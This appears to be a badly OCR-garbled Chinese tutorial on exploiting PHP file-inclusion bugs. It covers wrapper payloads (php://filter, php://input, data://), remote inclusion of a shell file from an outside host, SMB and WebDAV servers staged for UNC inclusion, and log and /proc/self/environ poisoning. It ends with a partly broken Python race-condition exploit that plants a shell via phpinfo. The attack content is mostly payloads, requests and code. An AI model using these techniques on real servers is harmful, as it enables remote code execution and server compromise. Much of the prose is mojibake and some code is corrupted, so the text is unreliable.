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require_once

(PHP 4, PHP 5 _PHP 7)

require_once i&E)# require 1BG)5TEiEE, BH—X3E PHP SREZXHEEELHEST, MRENAEEFREE.,

21 include_once FISXIISRIERE _once IS X, HIBRESIRE _once EEHARE.
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1. file://
XA AT BL R AR H S R 48 BRI B = A TAE H 3%
file:///path/to/file.ext TEXCMFE &P HELMEMEEFEM /path/to/file.ext
BRI SRR H A RRAERITE ../ 8%/ FFRMEHRR AT DL XA ksl 7 .
php://
(1) php://input RANE] LA ) 7 3K R R a6 8008 1) R iR
(2) php://Filter R—FpooH#EaE, it T BB RIT F 0T H 07 58 i 58 R
A

php://filter BAMERMNTHSHIFANERZN—ES ., SSTREEBE—TRELIEE. HAERXLESHAINSERKTA.

php:/ [filter 3%

B P

resource=<ZEL JEHIEHE > XNSHRLTM. ERE T RERETIBOEIER.

read=<EHEEAGIF IS 26> ZSEAE, JMRE— TS PEIRERR, UEBF () DR,

write=< G {ERI5E 517> ZBHEE, AINRE— TS NEIRRER, UEERF (1) 9B,

<; BETMERITHEESZe> HERAE A read= % write= {ERISR AITFIEERTIREMIBE RN FILRN 55,
AR AR AR X B E A T &S uE A
(1)
readfile("http://www.example.com");
EMT
readfile("php://filter/resource=http://www.example.com");
(2)
BB
file_get_contents("php://filter/read=convert.base64-encode/resource=test.php");
PN

file_put_contents("php://filter/write=convert.base64-decode/resource=[file]","base64");
XA RIECtFARMESIREH, 7T ST —Bwaf

(3) php://input
BT LA ) SR 00 B A 0 B R, K posti SR O 30 1 APHPARBD AT .«

HEERRME:

allow_url_fopen :off/on (ERiAEZEon) allow_url_include:on (BRIANECEoff)

J& TH AR LT LLE @Thinking I8 3 38 1) — A N

file:// >=52 off/on off/on ?file=file://D:/soft/phpStudy/WWW/phpcode.txt
php://filter >=52 off/on off/on ?file=php://filter/read=convert.base64-encode/resource=./index.php
php://input >=52 off/on on ?file=php//input  [POST DATA] <?php phpinfo()?>
zip:// >=52 off/on off/on ?file=zip://D:/soft/phpStudy/WWW/file.ziph23phpcode.txt
compress.bzip2:// >=52 off/on off/on ?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2  [or] ?file=compress.bzip2://./file.bz2
compress.zlib:// >=52 off/on off/on ?file=compress.zlib://D:/soft/phpStudy/WWW/file.gz  [or] ?file=compress.zlib://./file.gz
data:// >=52 on on ?file=data://text/plain,<?php phpinfo()?> [or] ?file=data://text/plain;base64,PDIwaHAgcGhwaW5smbygpPz4=
je >

?file=data:text/plain,<?php phpinfo()?> [or] ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
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<?php

$file = $_GET['file'];
include($file);

?>

4.1 3 BEAE

payload: php://filter/read=convert.base64-encode/resource=filename

K

http://127.0.0.1:8888/ctf/cli/3.php?file=php://filter/read=convert.base64-encode/resource=./3.php

€)> C @

® 127.0.0.1:8888/ctf/cli/3.php?file=php:/ffilter/read=convert.base64-encodefresource=./3.php

PD9waHAKJGZpbGUgPSAkX0dFVFsnZmlsZSddOwppbmNsdWRIKCRmaWxIKTsKPz4=

S REUOCH A A ->baseb4 4w tE->php A EHT-> & /nbase64 4wty

4.2 Getshell 2 %

PR 24 8 BATT AT AR 35 3T B DA R BEBATT B4 AR R SO I A BP AT

0x4.2.1 allow_url_include FF J3 i 15 &

allow_url_include BRIAFFIETEPhpS.222 )5 BRINoff, BT LA G AN F ik LB X il (B & T i 7E & phpinfo K I R 7] IR TR R

TFE

RFRZXANSHII SRS allow_url_include

allow_url_fopen ERINFF/E, BT LABRAIAT LLiE R AR urlsi# php: // W B #getshell

1.http://127.0.0.1:8888/ctf/cli/3.php?file=http://remote.com/shell.txt

2.http://127.0.0.1:8888/ctf/cli/3.php?file=php://input PostData: <?php phpinfo();?>

POST /test.php?file=php://input HTTP/1.1
Host: 10.211.55.20:8081

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101

Firefox/67.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;g=0.8,zh-TW;q=0.7,2zh-HK;g=0.5,en-US;g=0.
Accept-Encoding: gzip, deflate

Referer: http://10.211.55.20:8081/test.php?file=php://input
Content-Type: application/x-www-form-urlencoded

Content-Length: 20

Connection: close

Cookie: ASPSESSIONIDSSARQCRT=MIBBHLGDKOGBPPDNGFGNKIMB
Upgrade-Insecure-Requests: 1

a=<?php phpinfo();?>

3,en;g=0.2

<tr><td class="e">PHP Extension Build </td><td class="v">API20090626,TS,\
</td></tr>

<tr><td class=
<tr><td clas:
<tr><td clas:

">Debug Build </td><td class="v'">no </td></tr>

Thread Safety </td><td class="v">enabled </td></tr>
>Zend Memory Manager </td><td class="v">enabled </td></t
<tr><td clas ">Zend Multibyte Support </td><td class="v">disabled </tc
<tr><td clas ">IPv6 Support </td><td class="v">enabled </td></tr>
<tr><td class="e">Registered PHP Streams </td><td class="v">php, file, gl
http, ftp, zip, compress.zlib, compress.bzip2, phar </td></tr>

<tr><td class="e">Registered Stream Socket Transports </td><td class="v">
</td></tr>

<tr><td class="e">Registered Stream Filters </td><td class="v">convert.ic
mcrypt.*, mdecrypt.*, string.rotl3, string.toupper, string.tolower,
string.strip_tags, ta , dechunk, zlib.*, bzip2.* </td></t
</table><br />

<table border="0" cellpadding="3" width="600">

<tr class="v"><td>

<a href="http://www.zend.com/"><img border="0"
src="/test.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42" alt="Zend logo"
This program makes use of the Zend Scripting Language Engine:<br
/>Zend&nbsp;Engine&nbsp;v2.3.0,&nbsp;Copyright&nbsp; (c)&nbsp;1998-2014&nk
p;Technologies<br /></td></tr>

</table><br />

<hr />
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HEEE curl M4
curl -v "http://127.0.0.1:8888/ctf/cli/3.php?file=php://input" -d "<?php phpinfo();?>"
3. http://10.211.55.20:8081/test.php?file=data://text/plain;base64,PDIwaHAgIHBocGluZm8oKTs/Pg==
i data:// PMAT LA E EEHTbase64 4w
0x4.2.2 allow_url_include 3% H] X offff) 1& . (windowf % )
BEBRIfF allow_url_include and allow_url_fopen 35 5off ZEwindow3: HLEF 85 T 548 AT LAEAT im A2 SO AT
1: A ARUNCEE4E? UNCERAZBE R K AN\softeriX A i TE 2 ¥ P 2% B 42
2: UNCHMZE (FEf /M) EBVEREEWindows 2000278, R EZXAF, B L3 kT2 N4
#3: \servername\sharename, HHiservername®fk4%#54 . sharename@3tE R IR LK.

H B FUNCE TR AT L ERERE LR T E #84%, #%38: \servername\sharename\directory\filename.
2: uncIEERRIEM A ERKILE

BRIN allow_url_include NOffffIES %, php AN & N EIZFE http B ftpfurl (B2 ¥ H 22 1ESMBIURLINER .
I ASMB share i} % 2% % 2 F UNC %42 2 17 141, T Linuxit A UNC B 42 Bt LAIX F 77 185 R B FEwindow T 71l F
FIH1: UNC->SMB

FI SR

R B 7 fubuntud L 8% %3 sambafi 55 . (F, R B = BRIN K T 4455 5 fa i 1)

apt-get install samba

mkdir /var/www/html/pub/

chmod 0555 /var/www/html/pub/

chown -R nobody:nogroup /var/www/html/pub/
echo > /etc/samba/smb.conf

vim /etc/samba/smb.conf

EYN N TR

[global]

workgroup = WORKGROUP

server string = Samba Server %v
netbios name = indishell-lab
security = user

map to guest = bad user

name resolve order = bcast host
dns proxy = no

bind interfaces only = yes


https://baike.baidu.com/item/%25E7%25BD%2591%25E7%25BB%259C%25E7%25A1%25AC%25E7%259B%2598

[ethan]

path = var/www/html/pub
writable = no

guest ok = yes

guest only = yes

read only = yes

directory mode = 0555
force user = nobody

SR EH R 31 SAMBAR 45 3%

service smbd restart

SR JE AT LAR B 98 5 YR AR

lroot@iZuf67fuztjtolyoeenpagZ:~# 1lsof -1i:445

! COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

?smbd 7672 root 35u IPv6 1662317 Ot® TCP *:microsoft-ds (LISTEN)
' smbd 7672 root 37u IPv4 1662319 0t0 TCP *:microsoft-ds (LISTEN)
]rnnf@i7ufﬁ7fu7fi+n1vneennan7:~# [ |

ERAASKI N FIT S T )5 TH A5 & Fh 1 22 4 SRmE A AT DA R X A SC & win7 {8 BT B = sambadt =2
B AU R & Be T JR 445 IHLF 3 HE LI i 2 BRIBURAT T, (B W = maybe T LA (B R 2 Fd 2 HH T 19 )
R

http://127.0.0.1:8081/test.php?file=//47.101.46.179/1.php

AT LLZEFERCE T o

TS AT R REAR A AR TR A4S DI R (— R B AR RS SR E R TR B CHvpsH ) & .

FIFH 2: UNC->webdav

i F P# K 7 A RO 6 2 webdaviiR 55 2%

— 5 )33 —webdaviik %5 3%

docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_ METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80
--rm --name webdav bytemark/webdav &5 php 3 4 Bl/root/webdavidata B 51T T
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‘root@iZuf67fuztjtolyoeenpagZ:~/webdav/data# 1s

1.php

‘root@iZuf67fuztjtolyoeenpagZ:~/webdav/data# cat 1.php
<?php

phpinfol();

7>

fmrEm e et - . - se . .. N

BEEBEM:

http://127.0.0.1:8081/test.php?file=//47.101.46.179//webdav/1.php

http://127.0.0.1:8081/test.php?file=//47.101.46.179//webdav/1.php

t Bavike [N2E=

System Windows NT XQ176FEE 6.2 build 9200 (Unknow Windows version Business Edition)
i586

Build Date Aug 15 2014 19:15:47

Compiler MSVC9 (Visual C++ 2008)

Architecture (%86

Configure cscript /nologo configure js "--enable-snapshot-build" "--disable-isapi" "--enable-
Command debug-pack” "--without-mssql" "--without-pdo-mssql" "--without-pi3web" "--with-
pdo-oci=C:\php-sdk\oracle\instantclient10\sdk,shared" "--with-oci8=C:\php-
sdk\oracle\instantclient10\sdk,shared" "--with-oci8-11g=C:\php-
sdk\oracle\instantclient11\sdk,shared" "--enable-object-out-dir=../obj/" "--enable-
com-dotnet=shared" "--with-mcrypt=static’ "--disable-static-analyze"

Server API Apache 2.0 Handler

Virtual enabled
Directory
Support

Configuration | C:\Windows
File (php.ini)
Path

WUEFEETREAERIT .

0x4.2.3 =R A& HE XM FEXHF 34

XA 77 3L S SR e R EL B A ), R D BR A AR BR R A e U IR R (B R PT B 2 25 F .

A an R E LR window R 4, & phpstudyFRFh — 5 22 35 i #8 B A W PR, 56 4 ] DLl I 6 & — B 32 K getshell.
1.Linux R4 TF

—REAELINUXR 48 T iBid apt-get install apache2 BRI\ %% ffjapache Bk nginx#Ri% A BUBR U 1) X L 3 44

KT linuxt FR i AT AS 265 5 8F SR N & Linux HSCMFRUR 5 H R E

root@vM-221-25-ubuntu:/var/log# 1s -11 /var/log/apache2/access.log
-PW-r----- 1 root adm @ May 18 06:25 /var/log/apache2/access.log

root@VM-221-25-ubuntu:/var/log# Is -ll /var/log/nginx/access.log
-rw-r-—--- 1 www-data adm 0 May 18 06:25 /var/log/nginx/access.log
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root@VM-221-25-ubuntu:/var/log# Is -l /var/log/
drwxr-xr-x 2 root adm 4096 May 18 06:25 nginx

ey mgrr g TR
ARSI

T ar

-tw-r--1-- | root root 42304 Sep 4 18:26 install.log

< L& <

ERENER BxfaE BEGE £

XEPL /var/log/apache2/access.log AFIF, CHHH7F & Aroot, FrEEEH NHadm,rootFl F AT LA rw- [AEEH A F r— RATRLE.
T BATTH phpFlapache2 i 2 Fuser— & www-data
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

root@M-221-25-ubuntu: /var/log# groups www-data ##FFHFBTEKIA
www-data : www-data

Jt CA 3 38 7025 77 1) B X 26 SCAE BIRCE B # B A i L8 B 53 2 R D 0 {8558 il L BB B i B 4R
Fe st w] DA fuzz ™ SO0 52 B R B A i R

188 BEXH

B3 burpifi 1)

1. http://127.0.0.1:8081/test.php?file=<?php phpinfo();?>
2.http://127.0.0.1:8081/test.php?file=../../../../../../../var/log/apache2/access.log
285 RAHE

linux(FreeBSD £ %7 X 4M) T ii/proc/selflenviron 23K BUH F* FIUA

VM-221-25-ubuntu:/var/log# 1ls -al /proc/self/environ
P - 1 root root @ Jun 3@ 09:51 /proc/self/environ

RAESEA FRB B SEAL AT B2 B 1 5%, A NI A L2 & httpd 3. php B R K 7 5 20 -
Exploiting LFIto RCE /proc/self/environ with burpsuite:https://www.youtube.com/watch?v=dlhOogYy9ys
2.window® 4 F

XA SRR R AR IR A, BT LUIX B BEAT I T 7E BRI phpstudy 22 3 3R 58 T T St Bl getshell

BN R KR R BATT 8 B SICR IR sl R A FFE access. log

{8 & ERNFELEphp error log

C:\phpStudy\Apache\logs\error.log f&fE1E K]

ANBETEN Y 2% b BB V7 ia), R i Yi 28 & B shurlencode 4w A K %, BT LA FH B B 22 A burp 25 8 4F

195 M ANFEAE A payload B ST 14
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EﬁT /<?php phpinfo();?> HTTP/1.1 ;&TP/I.I 403 Forbidden

Host: 10.211.55.20:8081 : Date: Sat, 29 Jun 2019 03:14:41 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Server: Apache/2.4.10 (Win32) OpenSSL/0.9.8zb PHP/5.3.29
Firefox/67.0 Content-Length: 213
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 Connection: close
Accept-Language: zh-CN,zh;q=0.8,2zh-TW;q=0.7,2zh-HK;g=0.5,en-US;g=0.3,en;g=0.2 Content-Type: text/html; charset=iso-8859-1
Accept-Encoding: gzip, deflate
Connection: close <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
Cookie: ASPSESSIONIDSSARQCRT=MIBBHLGDKOGBPPDNGFGNKIMB <html><head>
Upgrade-Insecure-Requests: 1 <title>403 Forbidden</title>
</head><body>
| <hl>Forbidden</h1>

<p>You don't have permission to access /&lt;
on this server.<br />

</p>

</body></html>

REEET

'6: Cannot serve directory C:/phpStudy/WWW/: No matching Directorylndex (index.html, index. php, index. htm) found, and server—generated directory index fo
\defined index: flle inl G \\phpStudy\\WWW\\test php on line 2
nclude () [<a href functlon 1nclude >funct10n 1nclude</a>] Filename cannot be empty in C:\\phpStudy\\WWW\\test. php on line 3

ncludef® Dajled opening '’ for inclusion (include_path=".;C:\\php\\pear’ ) in C:\\phpStudy\\WWW\\tes
nclude Eﬂ% X Pfunction. include</a>]: failed to open stream: Permission denied in C:\\phpStudy\\WWW\\t
nclude iled opening ’C:\\phpStudy\\Apache\\logs’ for inclusion (include_path=". ;C:\\php\\pear’)
dted al mampgzN): ‘phpinfo\ ‘ EHRT—NE)

ogs/ht he run?

OpenSS 5 s tions

er bui o HE

\\Apac| [ gaxas OmlLy) @©ETD

proces|

rker t

'6: Cannot serve directory C:/phpStudy/WWW/: No matching DirectoryIndex (index.html-index php_index htm) found and server-generated directory index fo

'6: Cannot serve directory C:/phpStudy/WWW/: No matching DirectoryIndex (index.hfml, index.php, index.htm) found, and servdr-generated directory index fo

'd or contained invalid characters: [client 127.0.0.1:54758] AH00127: Cannot map|GET /%3C?php%20phpinfo () ;?%3E HTTP/1.1 qo file

nclude (C:\\phpStudy\\Apache\\logs\\11) [<a href="function. include’ >function. include</a>1; failed to open stream: No sucl file or directory in C:\\phpS

nclude() [<a href= function.include’ >function. include</a>]: Failed opening ’C:\\phpStudy\\Apache\\logs\\11' for inclusion (include_path=". ;C:\\php\\pe

276: Cannot serve directory C:/phpStudy/WWW/: No matching DirectoryIndex (index.html, index. php, index. htm) found, and server—generated directory index
include (1) [<a href=" function. include’ >function. include</a>]: failed to open stream: No such file or directory in C:\\phpStudy\\WWW\\test.php on line
include() [<a href="function.include’ >function. include</a>]: Failed opening '1’ for inclusion (include_path=". ;C:\\php\\pear’) in C:\\phpStudy\\WWW\\
include (&1t;?php) [<a href=" function. include’ >function. include</a>]: failed to open stream: No such file or directory in C:\\phpStudy\\WWW\\test. php
include () [<a href= function. include’ >function. include</a>]: Failed opening ’&lt;?pfl0—ToT TS Ton (et de path=". :;:C:\\php\\pear’) in C:\\phpStudy

«d or contained invalid characters: [client 10.211.55.2:61312] AH00127: Cannot map GHT /<?php [Nomuag() ;2> H|TP/1.1 to file

nclude() [<a href="function.include’ >function. include</a>]: http:// wrapper is disabled—in-—the—server—contiduration by allow_url_include=0 in C:\\phpS

nclude (http://111.230.197.23) [<a href=" function. include’ >function. include</a>]: failed to open stream: no suitable wrapper could be found in C:\\phpS

nclude() [<a href=" function.include’ >function. include</a>]: Failed opening *http://111.230.197.23" for inclusion (include_path=".;C:\\php\\pear ) in C

:ited abruptly. Child process is ending

ogs/httpd. pid overwritten —— Unclean shutdown of previous Apache run?

NS RIEPN

http://127.0.0.1:8081/test.php?file=C:\phpStudy\Apache\logs\error.log 3R )i B #getshell
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[Sat Jun 29 10:13:24.019029 2019] [mpm_winnt:notice] [pid 1612:tid 620] AHO0455: Apache/2.4.10 (Win32) OpenSSL/0.9.8zb PHP/5.3.29 configured -- resuming norr
[mpm_winnt:notice] [pid 1612:tid 620] AH00456: Apache Lounge VC9 Server built: Jul 19 2014 13:20:517 [Sat Jun 29 10:13:24.019029 2019] [core:notice] [pid 1612:tid 1
'C\\phpStudy\\Apache\\bin\\httpd.exe -d C:/phpStudy/Apache’ [Sat Jun 29 10:13:24.019029 2019] [mpm_winnt:notice] [pid 1612:tid 620] AH00418: Parent: Created
[mpm_winnt:notice] [pid 5680:tid 632] AH00354: Child: Starting 150 worker threads. [Sat Jun 29 10:15:34.912906 2019] [autoindex:error] [pid 5680:tid 2020] [client 12
C:/phpStudy/WWW/: No matching Directorylndex (index.html,index.php,index.htm) found, and server-generated directory index forbidden by Options directive [Sat.
[client 127.0.0.1:54499] PHP Notice: Undefined index: file in C:\\phpStudy\\WWWA\\test.php on line 2 [Sat Jun 29 10:15:42.751776 2019] [:error] [pid 5680:tid 2024] [c
[function.include]: Filename cannot be empty in C:\\phpStudy\\WWW\\test.php on line 3 [Sat Jun 29 10:15:42.751776 2019] [:error] [pid 5680:tid 2024] [client 127.0.C
opening " for inclusion (include_path=";C:\\php\\pear') in C:\\phpStudy\\WWW\\test.php on line 3 [Sat Jun 29 10:16:44.178799 2019] [:error] [pid 5680:tid 2036] [clie
include(C:\\phpStudy\\Apache\\logs) [function.include]: failed to open stream: Permission denied in C:\\phpStudy\\WWW\\test.php on line 3 [Sat Jun 29 10:16:44.17:
127.0.0.1:54523] PHP Warning: include() [function.include]: Failed opening 'C:\\phpStudy\\Apache\\logs' for inclusion (include_path=";C:\\php\\pear') in C:\\phpStud
2019] [mpm_winnt:crit] [pid 5680:tid 632] AH02538: Child: Parent process exited abruptly. Child process is ending [Sat Jun 29 11:00:57.210960 2019] [core:warn] [pid
C:/phpStudy/Apache/logs/httpd.pid overwritten -- Unclean shutdown of previous Apache run? [Sat Jun 29 11:00:57.340936 2019] [mpm_winnt:notice] [pid 5576:tid 6
PHP/5.3.29 configured -- resuming normal operations [Sat Jun 29 11:00:57.340936 2019] [mpm_winnt:notice] [pid 5576:tid 636] AH00456: Apache Lounge VC9 Serve
2019] [core:notice] [pid 5576:tid 636] AH00094: Command line: 'C:\\phpStudy\\Apache\\bin\\httpd.exe -d C:/phpStudy/Apache’ [Sat Jun 29 11:00:57.350177 2019] [r
Created child process 5376 [Sat Jun 29 11:00:59.289831 2019] [mpm_winnt:notice] [pid 5376:tid 696] AH00354: Child: Starting 150 worker threads. [Sat Jun 29 11:01:1
[client 127.0.0.1:54725] AHO01276: Cannot serve directory C:/phpStudy/WWW/: No matching Directorylndex (index.html,index.php,index.htm) found, and server-gene
Jun 29 11:01:26.684104 2019] [autoindex:error] [pid 5376:tid 2032] [client 127.0.0.1:54743] AH01276: Cannot serve directory C:/phpStudy/WWW/: No matching Direc
server-generated directory index forbidden by Options directive [Sat Jun 29 11:01:49.793239 2019] [core:error] [pid 5376:tid 2052] (20024)The given path is misforma
127.0.0.1:54758] AH00127: Cannot map GET /%3C?php%20phpinfo();?%3E HTTP/1.1 to file [Sat Jun 29 11:08:16.397080 2019] [:error] [pid 5376:tid 2032] [client 127.0
include(C:\\phpStudy\\Apache\\logs\\11) [function.include]: failed to open stream: No such file or directory in C:\\phpStudy\\WWW\\test.php on line 3 [Sat Jun 29 1°
127.0.0.1:54794] PHP Warning: include() [function.include]: Failed opening 'C:\\phpStudy\\Apache\\logs\\11' for inclusion (include_path=";C\\php\\pear') in C:\\php!
11:11:34.028976 2019] [autoindex:error] [pid 5376:tid 2032] [client 10.211.55.2:61268] AH01276: Cannot serve directory C:/phpStudy/WWW)/: No matching Directory!
generated directory index forbidden by Options directive [Sat Jun 29 11:11:44.587640 2019] [:error] [pid 5376:tid 2032] [client 10.211.55.2:61272] PHP Warning: inclu
or directary in C:\\phpStudy\\WWWA\\test.php on line 3 [Sat Jun 29 11:11:44.587640 2019] [:error] [pid 5376:tid 2032] [client 10.211.55.2:61272] PHP Warning: includ¢
(include_path=";C\\php\\pear') in C:\\phpStudy\\WWWA\\test.php on line 3 [Sat Jun 29 11:12:14.848409 2019] [:error] [pid 5376:tid 2032] [client 10.211.55.2:61274] F
open stream: No such file or directory in C:\\phpStudy\\WWWA\\test.php on line 3 [Sat Jun 29 11:12:14.848409 2019] [:error] [pid 5376:tid 2032] [client 10.211.55.2:61
opening '<?php’ for inclusion (include path=",;C\\php\\pear’) in C:\\phpStudy\\WWWA\\test.php on line 3 [Sat Jun 29 11:14:41.819711 2019] [core:error] [pid 5376:tid
invalid characters: [client 10.211.55.2:61312] AH00127: Cannot map GET /
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Ivar/www/%00
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XA RBARE R B A Kitips, HOVBIEAE ST LR HH XA B ERAES] T — L5,

EEEANDIPNS

phpinfo(); AT EATRGMH AEE . SFEFREREIXE: phpinfort ERERHNER

Tk A B REA IR BHRZF

%

m

I System Windows NT XQ176FEE 6.2 build 9200 (Unknow Windows version Business Edition) i586

Build Date Aug 15 2014 19:15:47

\WCompilar_______IMSVCA (\Misual Cas 2008)

Architecture x86

Conf-lgure cscript /nologo configure.js "-enable-snapshot-build-“ "--disable-isapi“ "--enable-debug-

Command pack” "--without-mssql" "--without-pdo-mssql" "--without-pi3web" "--with-pdo-oci=C:\php-
sdk\oracle\instantclient10\sdk,shared" "--with-oci8=C:\php-sdk\oracle\instantclient10
\sdk,shared" "--with-oci8-11g=C:\php-sdk\oracleinstantclient11\sdk,shared" "--enable-
object-op-dir:..fobj!" "--gnable-com-dotnet=shared" "--with-mcrypt=static" "--disable-static-

[ Server API Apache 2.0 Handler

Virtual Birectory enabled

Support

Configuration C:\Windows

File (php.ini)

Path

Loaded C\phpStudy\php53\php.ini

Configuration

File

Scan this dir for |(none)

additional .ini

files

Additional .ini (none)

files parsed

PHP API 20090626

PHP Extension 20090626

Zend Extension |220090626

Zend Extension |API220090626,TS,VC9

Build

PHP Extension |API20090626,TS,VC9

Build

Debug Build no

Thread Safety enabled

Zend Memory enabled

Manager

Zend Multibyte |disabled

Support

IPv6 Support enabled

Registered PHP | php, file, glob, data, http, ftp, zip, compress.zlib, compress.bzip2, phar

Streams

[REgisered o, aap

Stream Socket

Transports

Registered convert.iconv.*, merypt.*, mdecrypt.*, string.rot13, string.toupper, string.tolower,

Stream Filters

string.strip_tags, convert.”, consumed, dechunk, zlib.*, bzip2.*

A

B (TR 4 AE B )
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system info HE4HI#H:AE R4S B # Ewindow or linux
Registered PHP Streams and filters VE/M I phpi 8 28 A3 i
extension_dir php3™ R I 2

short_open_tag <?= fl <? echo 4

disable_function %k F & %t

open_basedir ¥ P Al EAE RSO RR B ZE R B3R T
SERVER_ADDR X £ip

DOCUMENT_ROOT web#R H 3%

_FILES["file"] BT PAZRER N B SCA4 42 = F Bk 4%

session 1] UL & & session {IH <L B

0x4.2.5.1 phpinfo-LFI 4 3 3C 444, & s B 3C {4 getshell

R R VLR AR ) (R AT E 228 R A B A — BN B3, debug 2 J5 # € f& 1) I 2% 1 ELEHT 200, the W] B 2 AR 55 48 b 2R P A L 4R
o BIPETE SR . (BHEA RREREZMAZL T %00, FHEIMAR A SRR T)

SEER R BN RS S a4 AT (LFI+ PHPINFO getshell S24
R A B

BATHIE — A A% R B BTIHR, php S 22 BR— AN LR I B ST A, I AN SO (K4 25 P9 2 7T BA#E phpinfo ()8 _FILE["file"] EH 2,
1B R M B ST AR PR A M Bk, e AR AT T AEE 7 W e ST A5 ) ik 2 AT, 85 W B SC AR T Lhgetshell T .

phpib I FiFEtimeline 1 F:

HTTP POST with a file arrives

PHP begins analysis

PHP creates temp file

PHP writes data to temp file

PHP closes temp file

script execution begins

[optional] script moves uploaded file
script execution ends

PHP removes temp files (if any)

Yy v ryvey Y Y A A J -

4 time
time window

MRHEAFEECBRT —T):

#!/usr/bin/python
import sys

import threading
import socket
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def setup(host, port):
TAG="Security Test’
PAYLOAD="""%s\r

2
<php = fomonl [trmm/a an )\ fanrvitol £ Pnhn nacethrin (@ ARTTETNN20N 2\ »77 070 T ACY

def phpinfoLFI(host, port, phpinforeq, offset, Ifireq, tag):
s = socket.socket(socket. AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket. AF_INET, socket. SOCK_STREAM)

<span class="n">s</span><span class="0">.</span><span class="n">connect</span><span class="p">((</span><span cla
ss="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="n">s2</span><span class="0">.</span><span class="n">connect</span><span class="p">((</span><span cl
ass="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>

<span class="n">s</span><span class="0">.</span><span class="n">send</span><span class="p">(</span><span class="
n">phpinforeq</span><span class="p">)</span>

<span class="n">d</span> <span class="0">=</span> <span class="s2">""</span>

<span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">d</span><span cl

ass="p">)</span> <span class="0">&1t;</span> <span class="n">offset</span><span class="p">:</span>

<span class="n">d</span> <span class="0">+=</span> <span class="n">s</span><span class="0">.</span><span cla
ss="n">recv</span><span class="p">(</span><span class="n">offset</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>

<span class="n">i</span> <span class="0">=</span> <span class="n">d</span><span class="0">.</span><span clas

s="n">find</span><span class="p">(</span><span class="s2">"[tmp_name] =&amp;gt; "</span><span class="p">)</span>
<span class="n">fn</span> <span class="0">=</span> <span class="n">d</span><span class="p">[</span><span cla

ss="n">i</span><span class="o0">+</span><span class="mi">17</span><span class="p">:</span><span class="n">i</span

><span class="0">+</span><span class="mi">31</span><span class="p">]</span>
<span class="cl1l"># print fn</span>

<span class="k">except</span> <span class="ne">ValueError</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">None</span>

<span class="n">s2</span><span class="0">.</span><span class="n">send</span><span class="p">(</span><span class=

"n">1fireq</span> <span class="0">%</span> <span class="p">(</span><span class="n">fn</span><span class="p">,</s

pan> <span class="n">host</span><span class="p">))</span>
<span class="c1"># print 1fireq % (fn, host) #debugiif&:HE</span>

<span class="n">d</span> <span class="0">=</span> <span class="n">s2</span><span class="0">.</span><span class="
>)</span>

n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p
<span class="c1"># print d #&FEERERII</span>

<span class="n">s</span><span class="0">.</span><span class="n">close</span><span class="p">()</span>

<span class="n">s2</span><span class="0">.</span><span class="n">close</span><span class="p">()</span>

<span class="k">if</span> <span class="n">d</span><span class="0">.</span><span class="n">find</span><span class

="p
n><span class="mi">1</span><span class="p">:</span>

>(</span><span class="n">tag</span><span class="p">)</span> <span class="0">!=</span> <span class="0">-</spa

<span class="k">return</span> <span class="n">fn</span>

counter=0

class ThreadWorker(threading.Thread):
def init(self, e, I, m, *args):

threading. Thread.init(self)
self.event=e

self.lock =1

self. maxattempts = m

self.args = args



<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="bp">self</span><span
class="p">):</span>
<span class="k">global</span> <span class="n">counter</span>
<span class="k">while</span> <span class="ow">not</span> <span class="bp">self</span><span class="0">.</span
><span class="n">event</span><span class="0">.</span><span class="n">is_set</span><span class="p">():</span>
<span class="k">with</span> <span class="bp">self</span><span class="0">.</span><span class="n">lock</sp
an><span class="p">:</span>
<span class="k">if</span> <span class="n">counter</span> <span class="0">&gt;=</span> <span class="b
p">self</span><span class="0">.</span><span class="n">maxattempts</span><span class="p">:</span>
<span class="k">return</span>
<span class="n">counter</span><span class="o0">+=</span><span class="mi">1</span>

<span class="k">try</span><span class="p">:</span>
<span class="n">x</span> <span class="0">=</span> <span class="n">phpInfolLFI</span><span class="p">(
</span><span class="0">*</span><span class="bp">self</span><span class="0">.</span><span class="n">args</span><s
pan class="p">)</span>
<span class="k">if</span> <span class="bp">self</span><span class="0">.</span><span class="n">event<
/span><span class="0">.</span><span class="n">is_set</span><span class="p">():</span>
<span class="k">break</span>
<span class="k">if</span> <span class="n">x</span><span class="p">:</span>
<span class="k">print</span> <span class="s2">"</span><span class="se">\n</span><span class="s2"
>Got it! Shell created in /tmp/g"</span>
<span class="bp">self</span><span class="0">.</span><span class="n">event</span><span class="o0">
.</span><span class="n">set</span><span class="p">()</span>

<span class="k">except</span> <span class="n">socket</span><span class="0">.</span><span class="n">error

</span><span class="p">:</span>
<span class="k">return</span>

def getOffset(host, port, phpinforeq):

““Gets offset of tmp_name in the php output™"

s = socket.socket(socket. AF_INET, socket. SOCK_STREAM)
s.connect((host,port))

s.send(phpinforeq)



<span class="n">d</span> <span class="0">=</span> <span class="s2">""</span>

<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>

<span class="n">i</span> <span class="0">=</span> <span class="n">s</span><span class="0">.</span><span clas

s="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span>

<span class="n">d</span><span class="0">+=</span><span class="n">i</span>

<span class="k">if</span> <span class="n">i</span> <span class="0">==</span> <span class="s2">""</span><span
class="p">:</span>

<span class="k">break</span>

<span class="cl"># detect the final chunk</span>

